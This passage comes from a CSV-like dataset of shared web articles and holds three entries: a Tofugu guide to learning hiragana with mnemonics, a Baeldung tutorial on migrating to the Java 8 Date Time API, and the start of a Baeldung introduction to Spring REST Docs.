Of course, these two help ensure your application behaves consistently. Test Driven Development by Example Video This is my first video tutorial ever. I can't tell you how many times I recorded it and re-recorded it, but I can tell you that creating this gave me a greater appreciation of all the other folks out there that provide these types of examples. I'll do more in the future. After all, practice makes proficient - right?",en
1467718988,CONTENT SHARED,-969155230116728853,2833428826475063405,-2483383014515077366,,,,HTML,https://www.tofugu.com/japanese/learn-hiragana/,Learn Hiragana: The Ultimate Guide,"To learn hiragana is to create a foundation for the rest of your Japanese. By learning hiragana, you will learn the basics of Japanese pronunciation. It will also open doors in terms of the Japanese resources you can use. There are no (good) Japanese textbooks or learning resources that don't require you to know hiragana. In essence, it's the first step to learn Japanese. Many classes and individuals spend months learning hiragana. This is too long. You should be able to learn everything in a couple days. A week, tops. Some people have reported back that they could read all the hiragana after a few hours, using this method. How long it takes depends on you, but if you follow the steps laid out below, you'll come out the other side with the ability to read hiragana. To make this possible, you will employ a few important methods. Mnemonics: Due to hiragana's relative simplicity (at least compared to kanji), image-based mnemonics are a perfect method for memorization. Each hiragana character has a memorable illustration that goes along with it. For a long time I believed that mnemonics were a waste of time. If this is you, I recommend you give it a serious try. It's amazing what you are able to memorize when using a mnemonic method. No Writing: ""WHAT? NO WRITING!?"" you scream. I know what you're thinking. But, think about it for a moment. When's the last time you actually wrote something by hand? Probably the last time you had to sign your name on a receipt at a restaurant. The need to write by hand is going down. Most of your written communication comes in the form of typing. Learning to read can be done very quickly and is very useful. Learning to write doubles or triples how long it takes to learn hiragana, with very little real-life benefit. It will be important to learn eventually, but for now you have more important fish to fry. Exercises: As I mentioned earlier, there are exercises for you to go through. They also happen to be very well thought out, too. If you do them, and you don't cheat (yourself), you will learn hiragana. In these exercises, you should do your best to force yourself recall items, even when you don't think you can come up with the answer. The more effort and strain you put into recalling something, the stronger of a memory your brain will end up building (as long as you actually recall it, that is). For the most part, if you follow along and do everything that this hiragana guide says, you will learn the hiragana. It will be difficult not to. Hiragana Chart To begin, download this hiragana chart . If you have a printer, print it out. If not, you can follow along digitally too. Hiragana Pronunciation Before you begin learning to read the hiragana, you have to learn how to pronounce the hiragana. Since hiragana pronunciation is such a listening and speaking thing, we made a video to cover this topic. Follow along. When you can pronounce the five ""vowel sounds"" of hiragana, move on to the next section, where you'll learn to read them. This is the first (and most important!) column in hiragana. It sets the pronunciation of every other column coming after it, because every other column is basically just the a-i-u-e-o column with consonants attached to them. The same basic sound repeats over and over and over, with a consonant plus these five vowel sounds, so make sure you have the right pronunciation for these five right from the start. Shall we? No, that's okay, after you. あ is pronounced like the ""a"" in ""c a r"" or the ""a"" in "" a wful."" To remember this kana, find the capital "" A "" inside of it. This ""A"" will tell you that this kana is also ""a"" aka あ. There is another similar kana, お, but that one doesn't have an ""A"" in it, which is how you can differentiate them. い is pronounced like the ""ee"" in "" ee l."" To remember this kana, just think of a couple of ee ls (i) hanging out. They're upright because they're trying to mimic the letter ""i"" which also stands upright and also happens to be the way you spell out this character in romaji. う is pronounced like the ""oo"" in "" oooo ... ahhh!"" when you're watching fireworks. It also sounds like the ""ou"" in ""You."" To remember this kana, notice the "" U "" shape right in it! It's sideways but it's there, telling you what this kana is. え is pronounced like the ""e"" in "" e xotic"" or the ""e"" in "" e gg."" To remember this kana, think of it like an e xotic bird. The big feathery thing on its head gives it away that it's exotic and not normal. It also lays exotic e ggs, because it's an exotic bird, after all. お is pronounced like you're saying "" oh ."" It also sounds like the ""o"" in "" o riginal."" Can you see the letter "" o "" in here, two times? This one looks similar to あ, except for its one key difference: there are two letter ""o"" symbols visible in there. Make sure you use this to differentiate this kana (お) and that similar kana (あ). This is one area of hiragana where a lot of people trip up, but by using this mnemonic you will be able to figure them out every time. あいうえお Tasks Now that you've put these kana into your brain (at least somewhat shakily) it's time to pull them out. Recall is the foundation of memory, and you're going to start doing just that. For each ""tasks"" section make sure you follow along perfectly. Skipping these steps may cause you to fail later on in the future. Having a strong base to build off of is important with each section. Head over to the website Drag n' Drop Hiragana . All I want you to do is to find the five kana you just learned (a-i-u-e-o) and drag them to their correct spot. That's it! It's an exercise in recognizing the kana you learned as well as matching them to the correct sounds. When you've done it once hit the refresh button and do it again and again until you're able to get it done in 10 seconds. Print out, copy, or download this worksheet . You'll need to go through it, filling in the boxes with the romaji for the kana. Try your best not to cheat - even if you spend a while trying to remember a kana it will be beneficial to your memory (as long as you're able to recall it on your own). Looking up the answer doesn't help your memory at all, but struggle (with accomplishment) tells your brain that this is a thing worth remembering. Try using the mnemonics when you need to recall something you can't figure out right away. This should be fairly easy with only five kana (and maybe a little boring too), but when you're done move on to the next five hiragana. The next set of hiragana is from the ""k-column."" This is just the ""k"" sound plus the vowel sounds you learned above, making it ka-ki-ku-ke-ko. There are no weird exceptions in this column either, so enjoy it while you can. か is just the ""K"" sound plus あ, making a ""ka"" sound. ♫ Ca nnn, can you do the can can, can you do the can can... ♪ To remember this, think of someone who's doing the "" Ca n- Ca n"" (ka) dance. The か kana even looks like someone doing the Can-Can. き is just the ""K"" sound plus い, making a "" ki "" sound. In fact, it sounds just like the word "" key "" which is the mnemonic we end up using. To remember this, notice how much it resembles a key (ki). く is just the ""K"" sound plus う, making a "" ku "" sound. To remember this, think of this kana being the mouth of a coo-coo/cuckoo (ku) bird popping out saying ""ku ku, ku ku!"" け is just the ""K"" sound plus え, making a "" ke "" sound. You'll have to use your imagination here, but this kana looks a lot like a keg. The three dimensional shape that it makes is somewhat ke g-like, right? こ is just the ""K"" sound plus お, making a "" ko "" sound. Ko is a couple of co -habitation (ko) worms. They're so happy together, co-habitating the same area! Alternatively, you could imagine a couple of short co rds laying on the ground next to each other. かきくけこ Tasks More tasks! This time we'll include the あいうえお column along with this ""K-column"" you just learned. Using Drag n' Drop Hiragana , find the あいうえお and かきくけこ hiragana and drag them to their correct spots. How quickly can you identify and place these ten hiragana characters? When you can do it in under 25 seconds, or you've completed this task at least five times, move on to the next step. Print out, copy, or download this worksheet . Complete it by filling in the blanks with the romaji for each of the kana. This time it will be both of the columns that you've learned (so far) so it should be a little more interesting (and half familiar). Once again, when you get stuck just think back to the mnemonic before you cheat. When you're done you can move on to the next group. Now that you have the ""K-column"" under your belt it's time for the ""S-column."" There is one weird exception in this row, and that's for ""si"" aka ""shi."" It's pronounced just like the word ""she"" in English, and doesn't quite follow the pattern you've seen up until now. You'll want to use ""sa- shi -su-se-so"" for this column. さ is just the ""S"" sound plus あ, making a "" sa "" sound. This kana looks like a weird sign (where the ""si"" of "" si gn"" is pronounced like ""sa"") stuck in the ground. Focus on the pronunciation, not the spelling, from this mnemonic. し is just the ""Sh"" sound plus い, making a "" shi "" sound. Take note that this is the first ""exception"" kana where it doesn't follow the patterns that show up everywhere else. Instead of being ""si"" it's ""shi"" (though you will see it written both ways when dealing with romaji. One more reason why you ought to just learn hiragana already). This kana looks like a giant hook you're dipping into the water. What do you catch? A poor sea l (shi). す is just the ""S"" sound plus う, making a "" su "" sound. See the s wing (su) doing a loop-dee-loop throwing that poor kid off of it? Imagine him screaming ""I'M GONNA SUE SOMEBODY FOR THIIIIIiiiissss"" as he flies off into the distance. せ is just the ""S"" sound plus え, making a "" se "" sound. This kana looks like a mouth with a big fang in it. What would someone like this say (se)? How se xy is that tooth, btw? そ is just the ""S"" sound plus お, making a "" so "" sound. This kana is just a so ngbird (so), flapping its little wings while singing a little tune! "" So so so soooo !"" ♪ さしすせそ Exercises Now that we've done three sets of five, it's time for exercises! As usual, these exercises will help you to practice kana you've previously learned plus the ones you just learned. Back to our best buds Drag n' Drop Hiragana . Identify and place the あ, か, and さ columns into their spots. Do this several times and see if you can do it all in under 30 seconds (or just complete the task 5 times). Once you're able to do either of those, move on. Using this worksheet , print out, copy, or download it and fill out the boxes with the correct romaji. If you can't remember something try to think back to the mnemonic first before cheating. When you're able to do these two tasks move on to the next five kana. P.S. Have you noticed how in the worksheets you're being asked to wait 5 minutes then 10 minutes? Waiting is actually an important part of building memory. By waiting and then recalling something as it's fading away, you're telling your mind that it shouldn't forget that item. But, if you keep bringing it up over and over again in a short period of time your brain will just keep it in its short term memory, meaning you probably won't remember it later. Don't skip the waiting periods! In fact, if you think you can wait longer without forgetting much that's even better! Time for the fourth column, the ""T-column."" Now you have a lot to remember! Hopefully mnemonics and the reasons for using them are starting to make sense now. If not, that should happen soon. Like the さ column, you'll find an exception in the た column. In fact, you'll find two exceptions, them being ち (chi) and つ (tsu). So, for this column we'll have ""ta, chi , tsu , te, to."" た is just the ""T"" sound plus あ, making a "" ta "" sound. This looks just like the romaji that spells it out: "" ta "" ち is just the ""Ch"" sound plus い, making a "" chi "" sound. This is the second ""exception"" hiragana. Instead of a ""ti"" sound, it is a ""chi"" sound. Try not to forget this. This kana looks like a man's face... except it's missing something: the chi n! つ is just the ""Ts"" sound plus う, making a "" tsu "" sound. This is another ""exception"" hiragana. Instead of saying ""tu"" you say ""tsu."" Try not to forget this. Do you remember the kana し? It's a hook that's dipped straight down into the water. This didn't work very well (you caught a poor seal!), so now you're trying a new strategy: pulling the line behind you in a boat. This way the hook is facing sideways. It works, too! You pull up your line and you have two (tsu) fish! て is just the ""T"" sound plus え, making a "" te "" sound. This kana looks like the uppercase letter ""T"" where ""T"" is for "" Te n."" How many kana can you learn at one time? I bet at least ten of them (let's start with the next set!) と is just the ""T"" sound plus お, making a "" to "" sound. This kana looks just like someone's toe (to) with a little nail or splinter in it. Imagine how much this would hurt if it was your toe! たちつてと Exercises Now that we have a few kana under our belt we'll be adding a third resource to our arsenal. Still, we'll start with something familiar. Just follow along. When you've completed everything and feel like you can recall all 20 of these kana, move on to the next section. Now it's time to try 10 at a time. You're getting better at this, after all! This is your first ""more than 5 things to learn"" group. In fact, it's a whole ten things! But you'll be just fine. You're getting better at learning the hiragana with all this practice. Too bad there's not 150 hiragana for you to practice on. な is just the ""N"" sound plus あ, making a "" na "" sound. The na ughty (na) nun is praying in front of the cross, asking for forgiveness of her naughty ways. The cross up in the air like this should be the main giveaway that this is な. に is just the ""N"" sound plus い, making a "" ni "" sound. Do you see the nee dle (ni) pulling the thread? ぬ is just the ""N"" sound plus う, making a "" nu "" sound. This kana looks like some noo dles (nu). There are several other kana that are similar to this one (れ, め, ね, わ) but you know this one is noodles because there are no sharp sides in it. It's 100% smooth and bendable, like noodles! It even has an extra loop at the back, because it is a noodle. ね is just the ""N"" sound plus え, making a "" ne "" sound. This is Ne lly the cat. There are other kana very similar to this one (ぬ, れ, め, わ) but you know this is different because it has a loop at the end for the tail and it's not super bendable like ぬ (noodles) is (see those sharp corners on the left?). To top thins off, Nelly is a ne cromancer. Why? I have no idea, you'd have to ask her. It must have something to do with the undead cat army she's creating. Also, if you know the word ""neko"" (Japanese for ""cat"") you can use that too. This is a ねこ. の is just the ""N"" sound plus お, making a "" no "" sound. See the big pig no se (no) there? You can also think of this as a ""No smoking"" sign (the ones with the cigarette and the big red circle and slash through it). Pick the one that sticks with you the best. Now let's look at the next five in this set. If you're feeling really shaky you can jump over to RealKana or Drag n' Drop Hiragana to practice, but you don't have to (yet)! は is just the ""H"" sound plus あ, making a "" ha "" sound. This kana looks like the uppercase letter ""H"" plus the lowercase letter ""a."" What does that spell? "" Ha !"" Why are you laughing? Stop that. Make sure you can see the H+a in the kana. ひ is just the ""H"" sound plus い, making a "" hi "" sound. He (hi) has a big nose. See that big nose? Now say it out loud. ""He has a big nose."" ふ is just the ""F/H"" sound plus う, making a "" fu/hu "" sound. Usually this kana is pronounced with an ""f"" (fu) in hiragana, so we're going to go with that. However, this kana does look a lot like a hula dancer too, so keep the ""hu"" in mind as well. If you want, you can think of this hula dancer as a "" fu -reaky hu la dancer"" to remember the fu. へ is just the ""H"" sound plus え, making a "" he "" sound. Do you know the famous mountain Mt. Saint He lens? This kana isn't totally flat like Helens is, but it's pretty squat looking. That's why this one is Helens. ほ is just the ""H"" sound plus お, making a "" ho "" sound. The left side line is a chimney. The right side is a mutated Santa Claus. He has four arms, a snake tail, and no head. Out of his neck he's uttering "" ho ho ho... ho ho ho..."" Hopefully he doesn't come down your chimney. なにぬねのはひふへほ Exercises Time to practice ten at a time! It's a lot, but you're getting better at learning these things, right? When you are done with these exercises it's time to move on to the next set of hiragana. Not quite ten in this set (before the exercises), but close enough. Let's start with the ""M-column."" ま is just the ""M"" sound plus あ, making a "" ma "" sound. Removing your head? Doubling your hands and arms? What sort of evil ma gic is this? What makes it weirder is that your mama is the one doing this magic. Imagine your ma looking like this. Aghh! み is just the ""M"" sound plus い, making a "" mi "" sound. Looks like lucky number 21. Who just hit the blackjack? Me (mi)! Who just turned 21 as well? Me (mi)!! む is just the ""M"" sound plus う, making a "" mu "" sound. "" Moooooo "" (mu), says the cow. ""MOOOOOOO."" め is just the ""M"" sound plus え, making a "" me "" sound. Look at that beautiful eye! It's so beautiful because of the ma keup (me) on it. Gotta look pretty in those eyes! If you also happen to know the word for ""eye"" in Japanese, that will help too. The word for ""eye"" in Japanese is just め (me). も is just the ""M"" sound plus お, making a "" mo "" sound. You want to catch mo re (も) fish so you add more worms to your hook. This is the third ""hook"" one, so make sure you can differentiate the mnemonics in your head: し, つ, and now も. This column is a little strange. There are only three items in here, and ""ye"" and ""yi"" are seemingly missing. Actually, they used to exist but now they don't (instead people use い or え, because it sounds pretty similar). Because of that, you only have to learn three kana for this section! や is just the ""Y"" sound plus あ, making a "" ya "" sound. Do you see the ya k in this kana? ゆ is just the ""Y"" sound plus う, making a "" yu "" sound. This kana is a very u nique (yu) looking fish! It looks like a big eyeball swimming in the water. よ is just the ""Y"" sound plus お, making a "" yo "" sound. The hitchhiker has his arm and thumb out. He's yelling "" YO ! yo!"" at all the cars that go past him. Why won't they pick him up? まみむめもやゆよ Exercises Time to practice these eight hiragana (and the previous ones as well). Once again, go through the steps to make sure you know everything well! When you're all done, it's time to tackle the last ""main hiragana"" section. You're almost there! Not so hard, right? Welcome to the last main set! It's only eight characters just like the last set, so hopefully it's not too bad. It does include the infamous ra-ri-ru-re-ro column though, which does tend to give some people trouble pronunciation-wise. Please be sure to check out our "" how to pronounce the Japanese R "" (coming soon!) guide for more information on this. ら is just the ""R"" sound plus あ, making a "" ra "" sound. The ra pper is rapping at the DJ table. り is just the ""R"" sound plus い, making a "" ri "" sound. The ree ds (ri) are swaying in the wind. This kana can also be written without the connection in the middle, too, which makes it more reedlike in that case (I wanted to present the more difficult of the two versions here, though). る is just the ""R"" sound plus う, making a "" ru "" sound. The is like ろ (you'll learn it in a second) except it has a loop at the end. る is a crazier route (ru). There is a loop (ru) at the end. Are there no rules on this road? れ is just the ""R"" sound plus え, making a "" re "" sound. This looks like a guy kneeling on the ground, re tching up his dinner. This kana is similar to め, わ, ぬ, and ね. What makes this one different is the curve at the back. You can identify this as the guy's knees bending, which makes it so you know he's keeled over retching his guts out. ろ is just the ""R"" sound plus お, making a "" ro "" sound. This is the counterpart to る, except this one doesn't have a loop at the end (there are rules here!). So, this kana is just a plain old road (ro). And finally, the last group. This is a weird one. It includes わ (which is quite normal), を (which is pronounced just like お, but is primarily used as a particle), and ん (which is the only consonant-only character in all the kanaa). Let's go through them one by one. わ is just the ""W"" sound plus あ, making a "" wa "" sound. This kana looks like a wa sp flying straight up. It looks similar to れ, ぬ, ね, and め. It looks especially similar to ね. You know ね is Nelly the cat because of the curl of a tail on the end. So, you can imagine the cat chasing this wasp, which is why it's flying straight up to get away. Its but is also a straight sharp line. This is its stinger. を is just the ""W"" sound plus お, though it sounds more like "" oh "" than it does ""wo."" The ""w"" is pretty silent, though it's still a tiny bit there. You can pretty much just pronounce it like お. "" Whoa !"" (wo) yells the guy with no chin (ち). Someone threw a boomerang into his mouth, so of course he's going to yell something. ""WHOA!"" ん is just the "" N "" sound, that's it. It's the only kana that consists of a single consonant. This kana looks just like the lowercase "" n "" in English. They happen to be the same sounds, as well. How convenient! nnnんんん. らりるれろわをん Exercises This is the last of the main hiragana. The exercises will now cover quite a bit (you know quite a bit!), so make sure you understand and know everything before moving on. That will finish out all the main hiragana. From here on out it's just combinations of kana or variations on kana you already know, which makes things both easier and harder. Let's start with the ""variation hiragana,"" also known as... Dakuten Dakuten takes hiragana you already know and adds an additional symbol to it to change their pronunciation. Usually this symbol is something that looks like a quotation mark, though in one instance you'll see this mark as a small circle. Here they are: Luckily for you, there are only five rows of dakuten kana to learn, and all you have to learn is what the sound changes to (since you know the kana already). Let's go over each of those dakuten transformations. か　→　が Every kana in the か column can have dakuten. When this happens, the ""K"" sound becomes a ""G"" sound. か　→　が (ga) き　→　ぎ (gi) く　→　ぐ (gu) け　→　げ (ge) こ　→　ご (go) Because you know the か column already, all you really need to remember is that K → G. Think of it this way: The car (か) runs into the guard (が) rail. Before you move on, make sure you know that ka → ga, ki → gi, etc. さ　→　ざ When something from the さ column gets dakuten, it changes to a ""Z"" sound, with the exception of し (which is already an exception, so this makes sense!). さ　→　ざ (za) し　→　じ (ji) す　→　ず (zu) せ　→　ぜ (ze) そ　→　ぞ (zo) All you have to remember is that S → Z, except in the case of し, which goes to じ. Exceptions will breed exceptions, so make sure you keep this in mind. To remember the S → Z part, though, consider the following mnemonic: My saw (さ) just zapped (ざ) me when I tried to use it. (imagine yourself trying to use a saw/さ and getting zapped/ざ). Do you remember what the K-column converts to? Do you remember what the S-column converts to? What is the exception in the S-column? When you're able to answer all that, move on to the next dakuten set. た　→　だ The T-column kana change to ""D"" sounds, except for the exceptions (which are ち and づ). Remember: Exception breeds exception! た　→　だ (da) ち　→　ぢ (dzi) つ　→　づ (dzu) て　→　で (de) と　→　ど (do) The two exceptions (ぢ and づ) very rarely show up, which is lucky for you. They mostly sound like じ and ず, but not quite. You'll get by pronouncing it like that if you must, but the correct pronunciation is more like what's written above... a combination of the D + Z sounds. Everything else is pretty normal. To remember that the た column changes to become the だ column, think of it this way: Changing these kana to the dakuten versions is a bit like magic... ""TADA!"" (ta & da) Do you remember what the K-column changes to? Do you remember what the S-column changes to? What about the T-column? Do you remember the three exceptions we've run into so far? If you can answer all of those questions it's time to move on to the last dakuten set, which is really two sets in one. は　→　ば, ぱ The H-column is a bit strange. It has two different kinds of dakuten that can be applied to it. One is that ""quotes"" symbol you've seen so far, the other is a little circle. は　→　ば (ba), ぱ (pa) ひ　→　び (bi), ぴ (pi) ふ　→　ぶ (bu), ぷ (pu) へ　→　べ (be), ぺ (pe) ほ　→　 ぼ (bo), ぽ (po) You have to remember that the H-column goes to both a ""B"" and a ""P"" sound. What a pain. Think of it this way: You're saying ""hahaha"" at the bar, because you've been drinking too much. You say ""hahaha"" so much at the bar that somebody punches you. Imagine through that story with you being the one saying ""hahaha"" (i.e. you're laughing) a couple of times, trying to get the details as vivid as possible (especially the details that have to do with laughing, the bar, and getting punched). To help you a little more, you can remember that the P-column is the one that uses the little circle. Why? Because that little circle is like a little fist that's about to punch you. Before moving on, try to recall the mnemonics we used for the following (and remember what each converts to): When you're able to do and recall everything, it's time to practice and see how good you really are! Dakuten Practice This practice will mainly focus on dakuten but also include all the kana you've learned up until this point. Using RealKana , select only the dakuten kana and drill those for 5-10 minutes until you feel somewhat comfortable. Now, add in all the other kana, mixed in with the dakuten kana. Using this worksheet , fill in all the blanks. When you're all done with that you should know all the kana fairly well, some better than others. I imagine there will be a few nagging ""difficult"" kana for you (it will depend on each individual which kana these are), but over time as you use hiragana and read more everything will get easier and easier. The whole point of this guide is to help you to get you reading, making it so you can use various other resources to continue your Japanese study. Combination Hiragana There's only one more section to complete. You're not really learning much that's new here, but you are going to learn how to combine different types of kana together to make some new sounds. Mainly, we're going to focus on what small ゃ, ゅ, and ょ can do to kana from the い row (that includes き, し, じ, に, etc). First let's take a quick look at the size difference. It's hard to see when they're not next to each other! To use these, you'll need to combine them with something from the い column. When you do this, you're essentially combining the first (English) letter of the い-kana with the small ゃ, ゅ, ょ sound. For example: き + ゃ → KIYA → KYA じ + ょ → JIYO → JYO See how the ""i"" gets dropped and it just becomes one syllable of sound? Here's a list of them all: きゃ、きゅ、きょ　→　KYA, KYU, KYO ぎゃ、ぎゅ、ぎょ　→　GYA, GYU, GYO しゃ、しゅ、しょ　→　SHA, SHU, SHO じゃ、じゅ、じょ　→　JYA, JYU, JYO (or JA, JU, JO) ちゃ、ちゅ、ちょ　→　CHA, CHU, CHO ぢゃ、ぢゅ、ぢょ　→　DZYA, DZYU, DZYO (you'll never see these, pretty much ever) にゃ、にゅ、にょ　→　NYA, NYU, NYO ひゃ、ひゅ、ひょ　→　HYA, HYU, HYO びゃ、びゅ、びょ　→　BYA, BYU, BYO ぴゃ、ぴゅ、ぴょ　→　PYA, PYU, PYO みゃ、みゅ、みょ　→　MYA, MYU, MYO りゃ、りゅ、りょ　→　RYA, RYU, RYO As you may have noticed, there's no いゃ sound and there's no combination kana for the Y-column. The first kana has to be a sound with a strong consonant in it, and both ""i"" and ""yi"" don't fit the bill. Also, ""yi"" doesn't exist in modern Japanese. Combination Hiragana Practice With this knowledge it's time to practice. I've made a worksheet that covers these combination kana. Go through it and fill in all the blanks. When you're done, you should be able to read almost everything that hiragana throws at you. Everything except one little thing... Small Tsu (っ) The small tsu is a weird little thing but we'll make sense of it. The easiest way to think of it, I think, is to call it a ""double consonant."" Basically, by adding a small っ to something, you are making the (English) letter that follows it double into two consonants. Luckily, you won't see a small tsu before any of the あいうえお kana, so that never becomes an issue. Let's take a look at how the following hiragana converts to romaji. したい → shitai しったい → shit_tai かこ → kako かっこ → kak_ko いた　→　ita いった　→　it_ta See how that worked? したい is just plain ""shitai"" without the small っ. But when you add it in, it becomes shittai . The small っ that comes before the ""ta"" causes the consonant to double, making it ""shit_tai."" Make sure you understand how that works with kako/kakko too. In terms of pronunciation, this is different as well. It's almost as if you add a small stop where the small っ exists, with one of the double consonants on either side. いしょ → isho いっしょ → ish_sho You will hear both of the consonants as separate sounds. One that ends the first part of the word, and one that starts the second half (with the small っ) showing you where that half point is. For a while it will probably be difficult to distinguish a small っ and a large つ, especially in handwriting. After you get more experience and read a lot more you'll be able to make this distinction quite easily. Additional Practice Although you could probably go out into the real world and practice hiragana on your own, I thought I'd provide for you some ways to practice your newfound skills. I wouldn't recommend doing everything here all at once but instead spread it out over the course of a couple weeks. Spacing your practice is very important if you want to get better at something more quickly. Doing all this at one time won't be all that effective. Luckily you can always start working on other parts of Japanese in the meantime while you continue to practice hiragana. Worksheets We made a couple more worksheets for you to download/copy/print out. They're a little different from before though. This time they're real sentences and we're not keeping track of what kana we're using, so it's a bit more like real life. You'll still want to put the romaji above the kana and read each kana out loud. Don't worry too much about meaning, that's not what we're learning right now and it will definitely be way above your ability level. When you finish those, I bet you'll be feeling pretty special, like some kind of hiragana master. If you don't, there's always more ways to practice. Apps & Other Programs There are plenty of apps and resources out there to help you drill as well. Some of them you've seen already because of this guide, others you have not. I'm sure there are plenty of other resources out there as well, but this should be good enough to get you to that level where you can start using the hiragana with other resources. ""Real Life"" Practice Of course, if you'd like to practice more there are plenty of ""real life"" ways to practice hiragana. Just go to any Japanese website and read all the hiragana that you can find. If anything it will teach you to differentiate between kanji, katakana, and hiragana, which is a nice skill to have. Try the Yomiuri Online , or any of these beginner Japanese reading resources . Moving On Practice After learning hiragana to a moderately slow level, you don't have to keep drilling it until it's fast. In fact, you can just move on to something else. Hiragana will keep popping up just about everywhere, so by learning something new you're actually reviewing the hiragana at the same time! What Next? Hiragana is only the start of things to come. You have so much more to do and hiragana will help you to get there. Although the answer to the question ""what's next"" is going to be somewhat vague / dependent on the individual, here are some suggestions to move you along your way. Kanji I do highly recommend that you get started on kanji right away. A lot of people think they should wait until they have a higher level of Japanese but that is usually a terrible idea. Being good at kanji speeds up just about every other facet of learning the Japanese language, from grammar to reading to speaking to listening. If you're weak at kanji you'll be weaker at everything else. Many people think kanji is difficult, but we made WaniKani to show that it's not as hard as people think. Katakana At the same time as kanji it's worth learning katakana. Katakana won't come up nearly as much especially at a really early stage of Japanese, but it's not rare enough to ignore. If you liked this guide to hiragana, check out our guide for learning katakana . It's just as stellar. Grammar Along with kanji or after you have a foundation in kanji, it's time to learn some Japanese grammar. There are many resources to help you to do this. We made TextFugu (an online Japanese textbook) for this, but there are other sites like Tae Kim's Guide To Japanese as well as textbooks ( we like the Genki series ). - I hope this guide helped you to learn hiragana effectively and quickly! Keep working hard and you'll continue to get better and better. With hiragana you have the tools to start your Japanese studies no matter what resource or textbook you end up choosing, so try a lot of things and see what works for you. Fell free to check out some of our reviews on Japanese resources ! P.S. We're working on adding videos to this guide, so check back occasionally if you're having trouble with pronunciation (because videos will help a lot with that!).",en
1467723301,CONTENT SHARED,-7639185658532886960,7645894863578715801,8090113322749616303,,,,HTML,http://www.baeldung.com/migrating-to-java-8-date-time-api,Migrating to the New Java 8 Date Time API | Baeldung,"1. Overview In this tutorial you will learn how to refactor your code in order to leverage the new Date Time API introduced in Java 8. 2. New API at a Glance Working with dates in Java used to be hard. The old date library provided by JDK included only three classes: java.util.Date, java.util.Calendar and java.util.Timezone . These were only suitable for the most basic tasks. For anything even remotely complex, the developers had to either use third-party libraries or write tons of custom code. Java 8 introduced a completely new Date Time API ( java.util.time.* ) that is loosely based on the popular Java library called JodaTime. This new API dramatically simplified date and time processing and fixed many shortcomings of the old date library. 1.1. API Clarity A first advantage of the new API is clarity - the API is very clear, concise and easy to understand. It does not have a lot of inconsistencies found in the old library such as the field numbering (in Calendar months are zero-based, but days of week are one-based). 1.2. API Flexibility Another advantage is flexibility - working with multiple representations of time . The old date library included only a single time representation class - java.util.Date , which despite its name, is actually a timestamp. It only stores the number of milliseconds elapsed since the Unix epoch. The new API has many different time representations, each suitable for different use cases: Instant - represents a point in time (timestamp) LocalDate - represents a date (year, month, day) LocalDateTime - same as LocalDate , but includes time with nanosecond precision OffsetDateTime - same as LocalDateTime , but with time zone offset LocalTime - time with nanosecond precision and without date information ZonedDateTime - same as OffsetDateTime , but includes a time zone ID OffsetLocalTime - same as LocalTime , but with time zone offset MonthDay - month and day, without year or time YearMonth - month and year, without day or time Duration - amount of time represented in seconds, minutes and hours. Has nanosecond precision Period - amount of time represented in days, months and years 1.3. Immutability and Thread-Safety Another advantage is that all time representations in Java 8 Date Time API are immutable and thus thread-safe. All mutating methods return a new copy instead of modifying state of the original object. Old classes such as java.util.Date were not thread-safe and could introduce very subtle concurrency bugs. 1.4. Method Chaining All mutating methods can be chained together, allowing to implement complex transformations in a single line of code. 2. Examples The examples below will demonstrate how to perform common tasks with both old and new API. Getting current time Representing specific time Extracting specific fields Adding and subtracting time Altering specific fields Truncating Truncating resets all time fields smaller than the specified field. In the example below minutes and everything below will be set to zero Time zone conversion Getting time span between two points in time Time formatting and parsing DateTimeFormatter is a replacement for the old SimpleDateFormat that is thread-safe and provides additional functionality. Number of days in a month 3. Interacting with Legacy Code In many cases a user might need to ensure interoperability with third-party libraries that rely on the old date library. In Java 8 old date library classes have been extended with methods that convert them to corresponding objects from new Date API. New classes provide similar functionalities. 4. Conclusion In this article we explored the new Date Time API available in Java 8. We took a look at its advantages, compared to the deprecated API and pointed out differences using multiple examples. Note that we barely scratched surface of the capabilities of the new Date Time API. Make sure to read through the official documentation to discover full range of tools offered by the new API. Code examples can be found in the GitHub project .",en
1467724010,CONTENT SHARED,6614704926858202954,7645894863578715801,8090113322749616303,,,,HTML,http://www.baeldung.com/spring-rest-docs,Introduction to Spring REST Docs | Baeldung,"Spring REST Docs generates documentation for RESTful services that is both accurate and readable. It combines hand-written documentation with auto-generated document snippets produced with Spring MVC tests. 2. Advantages One major philosophy behind the project is the use of tests to produce the documentation. This ensures that the documentation generated always accurately matches the actual behavior of the API. Additionally, the output is ready to be processed by Asciidoctor , a publishing toolchain centered around the AsciiDoc syntax. This is the same tool that is used to generate the Spring Framework's documentation. These approaches reduce the limitations imposed by other frameworks. Spring REST Docs produces documentation that is accurate, concise, and well-structured. This documentation then allows the web service consumers to get the information they need with a minimum of fuss. The tool has some other advantages, such as: curl and http request snippets are generated easy to package documentation in projects jar file easy to add extra information to the snippets supports both JSON and XML 3. Dependencies The ideal way to get started using Spring REST Docs in a project is by using a dependency management system. Here, we are using Maven as build tool, so the dependency below can be copied and pasted into your POM: You can also check Maven Central for a new version of the dependency here . 4. Configuration Spring REST Docs can be created using the Spring MVC Test framework to make requests to the REST services which are to be documented. This produces documentation snippets for the request and the resulting response. The very first step in generating documentation snippets is to declare a public RestDocumentation field that is annotated as a JUnit @Rule . The RestDocumentation rule is configured with the output directory into which the generated snippets should be saved. For example, this directory can be the build out directory of Maven: Next, we set up the MockMvc context so that it will be configured to produce documentation. The MockMvc object is configured using a RestDocumentationMockMvcConfigurer . An instance of this class can be obtained from the static documentationConfiguration() method on org.springframework.restdocs.mockmvc.MockMvcRestDocumentation . Let's create a CRUD RESTful service that we can document: Back in the tests, a MockMvc instance has been already created. It can be used to call the service we just created, and will document the request and response. The method below will generate the document in the configured directory: It is time to create the document snippets for the REST service: 5. Output Once the Maven build runs successfully, the output of the REST docs snippets will be generated and will be saved to the target/generated-snippets folder. The generated output will have the information about the service, how to call the REST service like 'curl' calls, the HTTP request and response from the REST service, and links/endpoints to the service: 6. Using Snippets to Create Documentation In order to use the snippets in a larger document, you can reference them using Asciidoc inlcudes. In our case, we have created a document in src/docs called api-guide.adoc : In that document, if we wished to reference the response headers snippet, we can include it, using a placeholder {snippets} that will be replaced by Maven when it processes the document: 7. Asciidocs Maven Plugins To convert the API guide from Asciidoc to a readable format, we can add a Maven plugin to the build lifecycle. There are several steps to enable this: Apply the Asciidoctor plugin to the pom.xml Add a dependency on spring-restdocs-mockmvc in the testCompile configuration as mentioned in the dependencies section Configure a property to define the output location for generated snippets Configure the test task to add the snippets directory as an output Configure the asciidoctor task Define an attribute named snippets that can be used when including the generated snippets in your documentation Make the task depend on the test task so that the tests are run before the documentation is created Configure the snippets directory as an input. All the generated snippets will be 